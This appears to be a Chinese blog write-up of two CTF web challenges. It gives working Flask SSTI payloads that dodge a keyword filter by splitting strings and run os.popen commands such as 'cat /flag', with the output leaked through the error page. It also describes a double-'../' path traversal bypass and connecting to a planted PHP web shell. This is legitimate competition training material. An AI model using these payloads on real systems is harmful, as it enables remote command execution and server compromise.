CISCN&铁三-web
国内网安实在是太强辣,最后10分钟直接掉一百来名捏😠
Safe_proxy
看源码可以发现器/路由存在ssti,并且为无回显的ssti。这时有两个思路,内存马或者打回显。我这里打算打500报错回显比较方便
打内存马相对要绕的会比较多
python flask 新型回显的学习和进一步的深入
因为waf禁了__,popen sys os等我这里选择拼接绕过
1 | code={{url_for["_"+"_globals_"+"_"]["_"+"_builtins_"+"_"]['setattr'](((lipsum['_'+'_spec_'+'_']|attr('_'+'_init_'+'_')|attr('_'+'_globals_'+'_'))['s'+'ys']|attr('modules'))['werkzeug']|attr('exceptions')|attr('InternalServerError'),"description",url_for['_'+'_globals_'+'_']['_'+'_buil'+'tins_'+'_']['_'+'_im'+'port_'+'_']('o'+'s')['pop'+'en']('cat /flag').read())}} |
1 | code={{url_for["_"+"_globals_"+"_"]["_"+"_buil"+"tins_"+"_"]['setattr'](cycler['_'+'_init_'+'_']['_'+'_globals_'+'_']['_'+'_builtins_'+'_']['_'+'_imp'+'ort_'+'_']('s'+'ys')['modules']['werkzeug']['exceptions']['InternalServerError'],'description',cycler['_'+'_init_'+'_']['_'+'_globals_'+'_']['_'+'_builtins_'+'_']['_'+'_im'+'port_'+'_']('o'+'s')['po'+'pen']('whoami')['read']())}} |
也可以这么拼建议用第二种比较方便
如何多输几个{{}}
使其报错
hello_web
看源码可以发现../hackme.php和../tips.php两个文件,尝试读取
直接读取会和我们说不在这里,经过尝试不管输入多少../起都是回显不在这里,且不触发其13字符的长度限制,猜测../是被删除的
经过尝试其可以双写绕过
…/./hackme.php
可以发现其为一个混淆过的代码
可以用echo一层一层输出
可以发现其是一个php的马,密码为cmd66.99
因为点不能传所有将改为[
使后面的.不会被自动转为_。
所有我们蚁剑的连接密码为cmd[66.99
用插件直接绕过
全局搜索flag可以找到flag文件
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 L的博客!
评论